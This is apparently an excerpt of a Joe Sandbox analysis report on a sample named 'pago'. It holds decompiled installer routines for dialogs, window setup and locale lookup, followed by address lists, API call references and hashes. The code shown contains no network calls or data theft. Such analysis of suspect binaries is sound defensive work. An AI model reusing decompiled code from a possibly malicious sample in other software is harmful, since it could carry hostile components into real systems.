                                                                  							if(__eflags >= 0) {
                                                                  								break;
                                                                  							}
                                                                  							_t117 =  *(_t133 + 0x14);
                                                                  							E0040657A(_t117, _t127, _t133, 0x445000,  *((intOrPtr*)(_t133 + 0x24)));
                                                                  							_push( *((intOrPtr*)(_t133 + 0x20)));
                                                                  							_push(0xfffffc19);
                                                                  							E00404499(_t127);
                                                                  							_push( *((intOrPtr*)(_t133 + 0x1c)));
                                                                  							_push(0xfffffc1b);
                                                                  							E00404499(_t127);
                                                                  							_push( *((intOrPtr*)(_t133 + 0x28)));
                                                                  							_push(0xfffffc1a);
                                                                  							E00404499(_t127);
                                                                  							_t48 = GetDlgItem(_t127, 3);
                                                                  							__eflags =  *0x434f8c - _t136;
                                                                  							_v28 = _t48;
                                                                  							if( *0x434f8c != _t136) {
                                                                  								_t117 = _t117 & 0x0000fefd | 0x00000004;
                                                                  								__eflags = _t117;
                                                                  							}
                                                                  							ShowWindow(_t48, _t117 & 0x00000008); // executed
                                                                  							EnableWindow( *(_t137 + 0x34), _t117 & 0x00000100); // executed
                                                                  							E004044BB(_t117 & 0x00000002);
                                                                  							_t118 = _t117 & 0x00000004;
                                                                  							EnableWindow( *0x42b230, _t118);
                                                                  							__eflags = _t118 - _t136;
                                                                  							if(_t118 == _t136) {
                                                                  								_push(1);
                                                                  							} else {
                                                                  								_push(_t136);
                                                                  							}
                                                                  							EnableMenuItem(GetSystemMenu(_t127, _t136), 0xf060, ??);
                                                                  							SendMessageW( *(_t137 + 0x3c), 0xf4, _t136, 1);
                                                                  							__eflags =  *0x434f8c - _t136;
                                                                  							if( *0x434f8c == _t136) {
                                                                  								_push( *0x42d264);
                                                                  							} else {
                                                                  								SendMessageW(_t127, 0x401, 2, _t136);
                                                                  								_push( *0x42b230);
                                                                  							}
                                                                  							E004044CE();
                                                                  							E0040653D(0x42d268, E00403F7B());
                                                                  							E0040657A(0x42d268, _t127, _t133,  &(0x42d268[lstrlenW(0x42d268)]),  *((intOrPtr*)(_t133 + 0x18)));
                                                                  							SetWindowTextW(_t127, 0x42d268); // executed
                                                                  							_push(_t136);
                                                                  							_t67 = E00401389( *((intOrPtr*)(_t133 + 8)));
                                                                  							__eflags = _t67;
                                                                  							if(_t67 != 0) {
                                                                  								continue;
                                                                  							} else {
                                                                  								__eflags =  *_t133 - _t136;
                                                                  								if( *_t133 == _t136) {
                                                                  									continue;
                                                                  								}
                                                                  								__eflags =  *(_t133 + 4) - 5;
                                                                  								if( *(_t133 + 4) != 5) {
                                                                  									DestroyWindow( *0x433ed8); // executed
                                                                  									 *0x42c240 = _t133;
                                                                  									__eflags =  *_t133 - _t136;
                                                                  									if( *_t133 <= _t136) {
                                                                  										goto L60;
                                                                  									}
                                                                  									_t73 = CreateDialogParamW( *0x434f00,  *_t133 +  *0x433ee0 & 0x0000ffff, _t127,  *( *(_t133 + 4) * 4 + "XF@"), _t133); // executed
                                                                  									__eflags = _t73 - _t136;
                                                                  									 *0x433ed8 = _t73;
                                                                  									if(_t73 == _t136) {
                                                                  										goto L60;
                                                                  									}
                                                                  									_push( *((intOrPtr*)(_t133 + 0x2c)));
                                                                  									_push(6);
                                                                  									E00404499(_t73);
                                                                  									GetWindowRect(GetDlgItem(_t127, 0x3fa), _t137 + 0x10);
                                                                  									ScreenToClient(_t127, _t137 + 0x10);
                                                                  									SetWindowPos( *0x433ed8, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
                                                                  									_push(_t136);
                                                                  									E00401389( *((intOrPtr*)(_t133 + 0xc)));
                                                                  									__eflags =  *0x433ecc - _t136; // 0x0
                                                                  									if(__eflags != 0) {
                                                                  										goto L63;
                                                                  									}
                                                                  									ShowWindow( *0x433ed8, 8); // executed
                                                                  									E004044E5(0x405);
                                                                  									goto L60;
                                                                  								}
                                                                  								__eflags =  *0x434f8c - _t136;
                                                                  								if( *0x434f8c != _t136) {
                                                                  									goto L63;
                                                                  								}
                                                                  								__eflags =  *0x434f80 - _t136;
                                                                  								if( *0x434f80 != _t136) {
                                                                  									continue;
                                                                  								}
                                                                  								goto L63;
                                                                  							}
                                                                  						}
                                                                  						DestroyWindow( *0x433ed8);
                                                                  						 *0x434f08 = _t136;
                                                                  						EndDialog(_t127,  *0x42ba38);
                                                                  						goto L60;
                                                                  					} else {
                                                                  						__eflags = _t34 - 1;
                                                                  						if(_t34 != 1) {
                                                                  							L35:
                                                                  							__eflags =  *_t133 - _t136;
                                                                  							if( *_t133 == _t136) {
                                                                  								goto L63;
                                                                  							}
                                                                  							goto L36;
                                                                  						}
                                                                  						_push(0);
                                                                  						_t86 = E00401389( *((intOrPtr*)(_t133 + 0x10)));
                                                                  						__eflags = _t86;
                                                                  						if(_t86 == 0) {
                                                                  							goto L35;
                                                                  						}
                                                                  						SendMessageW( *0x433ed8, 0x40f, 0, 1);
                                                                  						__eflags =  *0x433ecc - _t136; // 0x0
                                                                  						return 0 | __eflags == 0x00000000;
                                                                  					}
                                                                  				} else {
                                                                  					_t127 = _a4;
                                                                  					_t136 = 0;
                                                                  					if(_t130 == 0x47) {
                                                                  						SetWindowPos( *0x42d248, _t127, 0, 0, 0, 0, 0x13);
                                                                  					}
                                                                  					_t122 = _a12;
                                                                  					if(_t130 != 5) {
                                                                  						L8:
                                                                  						if(_t130 != 0x40d) {
                                                                  							__eflags = _t130 - 0x11;
                                                                  							if(_t130 != 0x11) {
                                                                  								__eflags = _t130 - 0x111;
                                                                  								if(_t130 != 0x111) {
                                                                  									L28:
                                                                  									return E00404500(_a8, _t122, _a16);
                                                                  								}
                                                                  								_t135 = _t122 & 0x0000ffff;
                                                                  								_t128 = GetDlgItem(_t127, _t135);
                                                                  								__eflags = _t128 - _t136;
                                                                  								if(_t128 == _t136) {
                                                                  									L15:
                                                                  									__eflags = _t135 - 1;
                                                                  									if(_t135 != 1) {
                                                                  										__eflags = _t135 - 3;
                                                                  										if(_t135 != 3) {
                                                                  											_t129 = 2;
                                                                  											__eflags = _t135 - _t129;
                                                                  											if(_t135 != _t129) {
                                                                  												L27:
                                                                  												SendMessageW( *0x433ed8, 0x111, _t122, _a16);
                                                                  												goto L28;
                                                                  											}
                                                                  											__eflags =  *0x434f8c - _t136;
                                                                  											if( *0x434f8c == _t136) {
                                                                  												_t99 = E0040140B(3);
                                                                  												__eflags = _t99;
                                                                  												if(_t99 != 0) {
                                                                  													goto L28;
                                                                  												}
                                                                  												 *0x42ba38 = 1;
                                                                  												L23:
                                                                  												_push(0x78);
                                                                  												L24:
                                                                  												E00404472();
                                                                  												goto L28;
                                                                  											}
                                                                  											E0040140B(_t129);
                                                                  											 *0x42ba38 = _t129;
                                                                  											goto L23;
                                                                  										}
                                                                  										__eflags =  *0x40a368 - _t136; // 0x0
                                                                  										if(__eflags <= 0) {
                                                                  											goto L27;
                                                                  										}
                                                                  										_push(0xffffffff);
                                                                  										goto L24;
                                                                  									}
                                                                  									_push(_t135);
                                                                  									goto L24;
                                                                  								}
                                                                  								SendMessageW(_t128, 0xf3, _t136, _t136);
                                                                  								_t103 = IsWindowEnabled(_t128);
                                                                  								__eflags = _t103;
                                                                  								if(_t103 == 0) {
                                                                  									L63:
                                                                  									return 0;
                                                                  								}
                                                                  								goto L15;
                                                                  							}
                                                                  							SetWindowLongW(_t127, _t136, _t136);
                                                                  							return 1;
                                                                  						}
                                                                  						DestroyWindow( *0x433ed8);
                                                                  						 *0x433ed8 = _t122;
                                                                  						L60:
                                                                  						if( *0x42f268 == _t136) {
                                                                  							_t146 =  *0x433ed8 - _t136; // 0x103aa
                                                                  							if(_t146 != 0) {
                                                                  								ShowWindow(_t127, 0xa); // executed
                                                                  								 *0x42f268 = 1;
                                                                  							}
                                                                  						}
                                                                  						goto L63;
                                                                  					}
                                                                  					asm("sbb eax, eax");
                                                                  					ShowWindow( *0x42d248,  ~(_t122 - 1) & 0x00000005);
                                                                  					if(_t122 != 2 || (GetWindowLongW(_t127, 0xfffffff0) & 0x21010000) != 0x1000000) {
                                                                  						goto L28;
                                                                  					} else {
                                                                  						ShowWindow(_t127, 4);
                                                                  						goto L8;
                                                                  					}
                                                                  				}
                                                                  			}
































                                                                  0x00403fa5
                                                                  0x00403fac
                                                                  0x00404113
                                                                  0x00404117
                                                                  0x0040411b
                                                                  0x0040411d
                                                                  0x00404122
                                                                  0x0040412d
                                                                  0x00404138
                                                                  0x0040413d
                                                                  0x0040413f
                                                                  0x00404141
                                                                  0x00404144
                                                                  0x00404149
                                                                  0x00404157
                                                                  0x00404164
                                                                  0x0040416b
                                                                  0x0040416b
                                                                  0x0040416c
                                                                  0x0040416c
                                                                  0x00404171
                                                                  0x00404177
                                                                  0x0040417e
                                                                  0x00404184
                                                                  0x00404186
                                                                  0x004041c6
                                                                  0x004041cb
                                                                  0x004041d0
                                                                  0x004041d0
                                                                  0x004041d5
                                                                  0x004041de
                                                                  0x004041e0
                                                                  0x004041e5
                                                                  0x004041eb
                                                                  0x004041ef
                                                                  0x004041ef
                                                                  0x004041f4
                                                                  0x004041fa
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00404205
                                                                  0x0040420b
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00404214
                                                                  0x0040421c
                                                                  0x00404221
                                                                  0x00404224
                                                                  0x0040422a
                                                                  0x0040422f
                                                                  0x00404232
                                                                  0x00404238
                                                                  0x0040423d
                                                                  0x00404240
                                                                  0x00404246
                                                                  0x0040424e
                                                                  0x00404254
                                                                  0x0040425a
                                                                  0x0040425e
                                                                  0x00404265
                                                                  0x00404265
                                                                  0x00404265
                                                                  0x0040426f
                                                                  0x00404281
                                                                  0x0040428d
                                                                  0x00404292
                                                                  0x0040429c
                                                                  0x004042a2
                                                                  0x004042a4
                                                                  0x004042a9
                                                                  0x004042a6
                                                                  0x004042a6
                                                                  0x004042a6
                                                                  0x004042b9
                                                                  0x004042d1
                                                                  0x004042d3
                                                                  0x004042d9
                                                                  0x004042ee
                                                                  0x004042db
                                                                  0x004042e4
                                                                  0x004042e6
                                                                  0x004042e6
                                                                  0x004042f4
                                                                  0x00404305
                                                                  0x0040431b
                                                                  0x00404322
                                                                  0x00404328
                                                                  0x0040432c
                                                                  0x00404331
                                                                  0x00404333
                                                                  0x00000000
                                                                  0x00404339
                                                                  0x00404339
                                                                  0x0040433b
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00404341
                                                                  0x00404345
                                                                  0x0040436a
                                                                  0x00404370
                                                                  0x00404376
                                                                  0x00404378
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040439e
                                                                  0x004043a4
                                                                  0x004043a6
                                                                  0x004043ab
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004043b1
                                                                  0x004043b4
                                                                  0x004043b7
                                                                  0x004043ce
                                                                  0x004043da
                                                                  0x004043f3
                                                                  0x004043f9
                                                                  0x004043fd
                                                                  0x00404402
                                                                  0x00404408
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00404412
                                                                  0x0040441d
                                                                  0x00000000
                                                                  0x0040441d
                                                                  0x00404347
                                                                  0x0040434d
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00404353
                                                                  0x00404359
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040435f
                                                                  0x00404333
                                                                  0x0040442a
                                                                  0x00404436
                                                                  0x0040443d
                                                                  0x00000000
                                                                  0x00404188
                                                                  0x00404188
                                                                  0x0040418b
                                                                  0x004041be
                                                                  0x004041be
                                                                  0x004041c0
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004041c0
                                                                  0x0040418d
                                                                  0x00404191
                                                                  0x00404196
                                                                  0x00404198
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004041a8
                                                                  0x004041b0
                                                                  0x00000000
                                                                  0x004041b6
                                                                  0x00403fbe
                                                                  0x00403fbe
                                                                  0x00403fc2
                                                                  0x00403fc7
                                                                  0x00403fd6
                                                                  0x00403fd6
                                                                  0x00403fdc
                                                                  0x00403fe3
                                                                  0x00404027
                                                                  0x0040402d
                                                                  0x00404046
                                                                  0x00404049
                                                                  0x0040405c
                                                                  0x00404062
                                                                  0x00404100
                                                                  0x00000000
                                                                  0x00404109
                                                                  0x00404068
                                                                  0x00404073
                                                                  0x00404075
                                                                  0x00404077
                                                                  0x00404096
                                                                  0x00404096
                                                                  0x00404099
                                                                  0x0040409e
                                                                  0x004040a1
                                                                  0x004040b1
                                                                  0x004040b2
                                                                  0x004040b4
                                                                  0x004040ea
                                                                  0x004040fa
                                                                  0x00000000
                                                                  0x004040fa
                                                                  0x004040b6
                                                                  0x004040bc
                                                                  0x004040d5
                                                                  0x004040da
                                                                  0x004040dc
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004040de
                                                                  0x004040ca
                                                                  0x004040ca
                                                                  0x004040cc
                                                                  0x004040cc
                                                                  0x00000000
                                                                  0x004040cc
                                                                  0x004040bf
                                                                  0x004040c4
                                                                  0x00000000
                                                                  0x004040c4
                                                                  0x004040a3
                                                                  0x004040a9
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004040ab
                                                                  0x00000000
                                                                  0x004040ab
                                                                  0x0040409b
                                                                  0x00000000
                                                                  0x0040409b
                                                                  0x00404081
                                                                  0x00404088
                                                                  0x0040408e
                                                                  0x00404090
                                                                  0x00404466
                                                                  0x00000000
                                                                  0x00404466
                                                                  0x00000000
                                                                  0x00404090
                                                                  0x0040404e
                                                                  0x00000000
                                                                  0x00404056
                                                                  0x00404035
                                                                  0x0040403b
                                                                  0x00404443
                                                                  0x00404449
                                                                  0x0040444b
                                                                  0x00404451
                                                                  0x00404456
                                                                  0x0040445c
                                                                  0x0040445c
                                                                  0x00404451
                                                                  0x00000000
                                                                  0x00404449
                                                                  0x00403fea
                                                                  0x00403ff6
                                                                  0x00403fff
                                                                  0x00000000
                                                                  0x0040401e
                                                                  0x00404021
                                                                  0x00000000
                                                                  0x00404021
                                                                  0x00403fff

                                                                  APIs
                                                                  • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403FD6
                                                                  • ShowWindow.USER32(?), ref: 00403FF6
                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 00404008
                                                                  • ShowWindow.USER32(?,00000004), ref: 00404021
                                                                  • DestroyWindow.USER32 ref: 00404035
                                                                  • SetWindowLongW.USER32 ref: 0040404E
                                                                  • GetDlgItem.USER32 ref: 0040406D
                                                                  • SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00404081
                                                                  • IsWindowEnabled.USER32(00000000), ref: 00404088
                                                                  • GetDlgItem.USER32 ref: 00404133
                                                                  • GetDlgItem.USER32 ref: 0040413D
                                                                  • KiUserCallbackDispatcher.NTDLL(?,000000F2,?), ref: 00404157
                                                                  • SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004041A8
                                                                  • GetDlgItem.USER32 ref: 0040424E
                                                                  • ShowWindow.USER32(00000000,?), ref: 0040426F
                                                                  • KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404281
                                                                  • EnableWindow.USER32(?,?), ref: 0040429C
                                                                  • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004042B2
                                                                  • EnableMenuItem.USER32 ref: 004042B9
                                                                  • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004042D1
                                                                  • SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004042E4
                                                                  • lstrlenW.KERNEL32(0042D268,?,0042D268,00000000), ref: 0040430E
                                                                  • SetWindowTextW.USER32(?,0042D268), ref: 00404322
                                                                  • ShowWindow.USER32(?,0000000A), ref: 00404456
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Window$Item$MessageSendShow$CallbackDispatcherEnableLongMenuUser$DestroyEnabledSystemTextlstrlen
                                                                  • String ID:
                                                                  • API String ID: 3618520773-0
                                                                  • Opcode ID: 655396db076bddd1a804ad939a9de1a35d1e50ec2b89a3d41d0d0026322ce3ca
                                                                  • Instruction ID: 19e8ffe36521fda3862950d2389d84f1ef0c133ac5ff71005f69e3a94542e2f3
                                                                  • Opcode Fuzzy Hash: 655396db076bddd1a804ad939a9de1a35d1e50ec2b89a3d41d0d0026322ce3ca
                                                                  • Instruction Fuzzy Hash: DDC1A1B1A00704ABDB206F61EE49E2B3A68FB84746F15053EF741B61F1CB799841DB2D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 301 403bec-403c04 call 40690a 304 403c06-403c16 call 406484 301->304 305 403c18-403c4f call 40640b 301->305 314 403c72-403c9b call 403ec2 call 405f14 304->314 310 403c51-403c62 call 40640b 305->310 311 403c67-403c6d lstrcatW 305->311 310->311 311->314 319 403ca1-403ca6 314->319 320 403d2d-403d35 call 405f14 314->320 319->320 321 403cac-403cd4 call 40640b 319->321 326 403d43-403d68 LoadImageW 320->326 327 403d37-403d3e call 40657a 320->327 321->320 328 403cd6-403cda 321->328 330 403de9-403df1 call 40140b 326->330 331 403d6a-403d9a RegisterClassW 326->331 327->326 332 403cec-403cf8 lstrlenW 328->332 333 403cdc-403ce9 call 405e39 328->333 345 403df3-403df6 330->345 346 403dfb-403e06 call 403ec2 330->346 334 403da0-403de4 SystemParametersInfoW CreateWindowExW 331->334 335 403eb8 331->335 339 403d20-403d28 call 405e0c call 40653d 332->339 340 403cfa-403d08 lstrcmpiW 332->340 333->332 334->330 338 403eba-403ec1 335->338 339->320 340->339 344 403d0a-403d14 GetFileAttributesW 340->344 349 403d16-403d18 344->349 350 403d1a-403d1b call 405e58 344->350 345->338 354 403e0c-403e26 ShowWindow call 40689a 346->354 355 403e8f-403e90 call 405672 346->355 349->339 349->350 350->339 362 403e32-403e44 GetClassInfoW 354->362 363 403e28-403e2d call 40689a 354->363 358 403e95-403e97 355->358 360 403eb1-403eb3 call 40140b 358->360 361 403e99-403e9f 358->361 360->335 361->345 364 403ea5-403eac call 40140b 361->364 367 403e46-403e56 GetClassInfoW RegisterClassW 362->367 368 403e5c-403e7f DialogBoxParamW call 40140b 362->368 363->362 364->345 367->368 372 403e84-403e8d call 403b3c 368->372 372->338
                                                                  C-Code - Quality: 96%
                                                                  			E00403BEC(void* __eflags) {
                                                                  				intOrPtr _v4;
                                                                  				intOrPtr _v8;
                                                                  				int _v12;
                                                                  				void _v16;
                                                                  				void* __ebx;
                                                                  				void* __edi;
                                                                  				void* __esi;
                                                                  				intOrPtr* _t22;
                                                                  				void* _t30;
                                                                  				void* _t32;
                                                                  				int _t33;
                                                                  				void* _t36;
                                                                  				int _t39;
                                                                  				int _t40;
                                                                  				intOrPtr _t41;
                                                                  				int _t44;
                                                                  				short _t63;
                                                                  				WCHAR* _t65;
                                                                  				signed char _t69;
                                                                  				WCHAR* _t76;
                                                                  				intOrPtr _t82;
                                                                  				WCHAR* _t87;
                                                                  
                                                                  				_t82 =  *0x434f10;
                                                                  				_t22 = E0040690A(2);
                                                                  				_t90 = _t22;
                                                                  				if(_t22 == 0) {
                                                                  					_t76 = 0x42d268;
                                                                  					L"1033" = 0x30;
                                                                  					 *0x442002 = 0x78;
                                                                  					 *0x442004 = 0;
                                                                  					E0040640B(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x42d268, 0);
                                                                  					__eflags =  *0x42d268;
                                                                  					if(__eflags == 0) {
                                                                  						E0040640B(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x42d268, 0);
                                                                  					}
                                                                  					lstrcatW(L"1033", _t76);
                                                                  				} else {
                                                                  					E00406484(L"1033",  *_t22() & 0x0000ffff);
                                                                  				}
                                                                  				E00403EC2(_t78, _t90);
                                                                  				 *0x434f80 =  *0x434f18 & 0x00000020;
                                                                  				 *0x434f9c = 0x10000;
                                                                  				if(E00405F14(_t90, 0x440800) != 0) {
                                                                  					L16:
                                                                  					if(E00405F14(_t98, 0x440800) == 0) {
                                                                  						E0040657A(_t76, 0, _t82, 0x440800,  *((intOrPtr*)(_t82 + 0x118)));
                                                                  					}
                                                                  					_t30 = LoadImageW( *0x434f00, 0x67, 1, 0, 0, 0x8040); // executed
                                                                  					 *0x433ee8 = _t30;
                                                                  					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
                                                                  						L21:
                                                                  						if(E0040140B(0) == 0) {
                                                                  							_t32 = E00403EC2(_t78, __eflags);
                                                                  							__eflags =  *0x434fa0;
                                                                  							if( *0x434fa0 != 0) {
                                                                  								_t33 = E00405672(_t32, 0);
                                                                  								__eflags = _t33;
                                                                  								if(_t33 == 0) {
                                                                  									E0040140B(1);
                                                                  									goto L33;
                                                                  								}
                                                                  								__eflags =  *0x433ecc; // 0x0
                                                                  								if(__eflags == 0) {
                                                                  									E0040140B(2);
                                                                  								}
                                                                  								goto L22;
                                                                  							}
                                                                  							ShowWindow( *0x42d248, 5); // executed
                                                                  							_t39 = E0040689A("RichEd20"); // executed
                                                                  							__eflags = _t39;
                                                                  							if(_t39 == 0) {
                                                                  								E0040689A("RichEd32");
                                                                  							}
                                                                  							_t87 = L"RichEdit20W";
                                                                  							_t40 = GetClassInfoW(0, _t87, 0x433ea0);
                                                                  							__eflags = _t40;
                                                                  							if(_t40 == 0) {
                                                                  								GetClassInfoW(0, L"RichEdit", 0x433ea0);
                                                                  								 *0x433ec4 = _t87;
                                                                  								RegisterClassW(0x433ea0);
                                                                  							}
                                                                  							_t41 =  *0x433ee0; // 0x0
                                                                  							_t44 = DialogBoxParamW( *0x434f00, _t41 + 0x00000069 & 0x0000ffff, 0, E00403F9A, 0); // executed
                                                                  							E00403B3C(E0040140B(5), 1);
                                                                  							return _t44;
                                                                  						}
                                                                  						L22:
                                                                  						_t36 = 2;
                                                                  						return _t36;
                                                                  					} else {
                                                                  						_t78 =  *0x434f00;
                                                                  						 *0x433ea4 = E00401000;
                                                                  						 *0x433eb0 =  *0x434f00;
                                                                  						 *0x433eb4 = _t30;
                                                                  						 *0x433ec4 = 0x40a380;
                                                                  						if(RegisterClassW(0x433ea0) == 0) {
                                                                  							L33:
                                                                  							__eflags = 0;
                                                                  							return 0;
                                                                  						}
                                                                  						SystemParametersInfoW(0x30, 0,  &_v16, 0);
                                                                  						 *0x42d248 = CreateWindowExW(0x80, 0x40a380, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x434f00, 0);
                                                                  						goto L21;
                                                                  					}
                                                                  				} else {
                                                                  					_t78 =  *(_t82 + 0x48);
                                                                  					_t92 = _t78;
                                                                  					if(_t78 == 0) {
                                                                  						goto L16;
                                                                  					}
                                                                  					_t76 = 0x432ea0;
                                                                  					E0040640B(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x434f38 + _t78 * 2,  *0x434f38 +  *(_t82 + 0x4c) * 2, 0x432ea0, 0);
                                                                  					_t63 =  *0x432ea0; // 0x43
                                                                  					if(_t63 == 0) {
                                                                  						goto L16;
                                                                  					}
                                                                  					if(_t63 == 0x22) {
                                                                  						_t76 = 0x432ea2;
                                                                  						 *((short*)(E00405E39(0x432ea2, 0x22))) = 0;
                                                                  					}
                                                                  					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
                                                                  					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
                                                                  						L15:
                                                                  						E0040653D(0x440800, E00405E0C(_t76));
                                                                  						goto L16;
                                                                  					} else {
                                                                  						_t69 = GetFileAttributesW(_t76);
                                                                  						if(_t69 == 0xffffffff) {
                                                                  							L14:
                                                                  							E00405E58(_t76);
                                                                  							goto L15;
                                                                  						}
                                                                  						_t98 = _t69 & 0x00000010;
                                                                  						if((_t69 & 0x00000010) != 0) {
                                                                  							goto L15;
                                                                  						}
                                                                  						goto L14;
                                                                  					}
                                                                  				}
                                                                  			}

























                                                                  0x00403bf2
                                                                  0x00403bfb
                                                                  0x00403c02
                                                                  0x00403c04
                                                                  0x00403c18
                                                                  0x00403c2a
                                                                  0x00403c33
                                                                  0x00403c3c
                                                                  0x00403c43
                                                                  0x00403c48
                                                                  0x00403c4f
                                                                  0x00403c62
                                                                  0x00403c62
                                                                  0x00403c6d
                                                                  0x00403c06
                                                                  0x00403c11
                                                                  0x00403c11
                                                                  0x00403c72
                                                                  0x00403c85
                                                                  0x00403c8a
                                                                  0x00403c9b
                                                                  0x00403d2d
                                                                  0x00403d35
                                                                  0x00403d3e
                                                                  0x00403d3e
                                                                  0x00403d54
                                                                  0x00403d5a
                                                                  0x00403d68
                                                                  0x00403de9
                                                                  0x00403df1
                                                                  0x00403dfb
                                                                  0x00403e00
                                                                  0x00403e06
                                                                  0x00403e90
                                                                  0x00403e95
                                                                  0x00403e97
                                                                  0x00403eb3
                                                                  0x00000000
                                                                  0x00403eb3
                                                                  0x00403e99
                                                                  0x00403e9f
                                                                  0x00403ea7
                                                                  0x00403ea7
                                                                  0x00000000
                                                                  0x00403e9f
                                                                  0x00403e14
                                                                  0x00403e1f
                                                                  0x00403e24
                                                                  0x00403e26
                                                                  0x00403e2d
                                                                  0x00403e2d
                                                                  0x00403e38
                                                                  0x00403e40
                                                                  0x00403e42
                                                                  0x00403e44
                                                                  0x00403e4d
                                                                  0x00403e50
                                                                  0x00403e56
                                                                  0x00403e56
                                                                  0x00403e5c
                                                                  0x00403e75
                                                                  0x00403e86
                                                                  0x00000000
                                                                  0x00403e8b
                                                                  0x00403df3
                                                                  0x00403df5
                                                                  0x00000000
                                                                  0x00403d6a
                                                                  0x00403d6a
                                                                  0x00403d76
                                                                  0x00403d80
                                                                  0x00403d86
                                                                  0x00403d8b
                                                                  0x00403d9a
                                                                  0x00403eb8
                                                                  0x00403eb8
                                                                  0x00000000
                                                                  0x00403eb8
                                                                  0x00403da9
                                                                  0x00403de4
                                                                  0x00000000
                                                                  0x00403de4
                                                                  0x00403ca1
                                                                  0x00403ca1
                                                                  0x00403ca4
                                                                  0x00403ca6
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00403cb4
                                                                  0x00403cc6
                                                                  0x00403ccb
                                                                  0x00403cd4
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00403cda
                                                                  0x00403cdc
                                                                  0x00403ce9
                                                                  0x00403ce9
                                                                  0x00403cf2
                                                                  0x00403cf8
                                                                  0x00403d20
                                                                  0x00403d28
                                                                  0x00000000
                                                                  0x00403d0a
                                                                  0x00403d0b
                                                                  0x00403d14
                                                                  0x00403d1a
                                                                  0x00403d1b
                                                                  0x00000000
                                                                  0x00403d1b
                                                                  0x00403d16
                                                                  0x00403d18
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00403d18
                                                                  0x00403cf8

                                                                  APIs
                                                                    • Part of subcall function 0040690A: GetModuleHandleA.KERNEL32(?,00000020,?,0040363D,0000000B), ref: 0040691C
                                                                    • Part of subcall function 0040690A: GetProcAddress.KERNEL32(00000000,?), ref: 00406937
                                                                  • lstrcatW.KERNEL32(1033,0042D268), ref: 00403C6D
                                                                  • lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,00440800,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,76F1FAA0), ref: 00403CED
                                                                  • lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,00440800,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 00403D00
                                                                  • GetFileAttributesW.KERNEL32(Call,?,00000000,?), ref: 00403D0B
                                                                  • LoadImageW.USER32 ref: 00403D54
                                                                    • Part of subcall function 00406484: wsprintfW.USER32 ref: 00406491
                                                                  • RegisterClassW.USER32 ref: 00403D91
                                                                  • SystemParametersInfoW.USER32 ref: 00403DA9
                                                                  • CreateWindowExW.USER32 ref: 00403DDE
                                                                  • ShowWindow.USER32(00000005,00000000,?,00000000,?), ref: 00403E14
                                                                  • GetClassInfoW.USER32 ref: 00403E40
                                                                  • GetClassInfoW.USER32 ref: 00403E4D
                                                                  • RegisterClassW.USER32 ref: 00403E56
                                                                  • DialogBoxParamW.USER32 ref: 00403E75
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
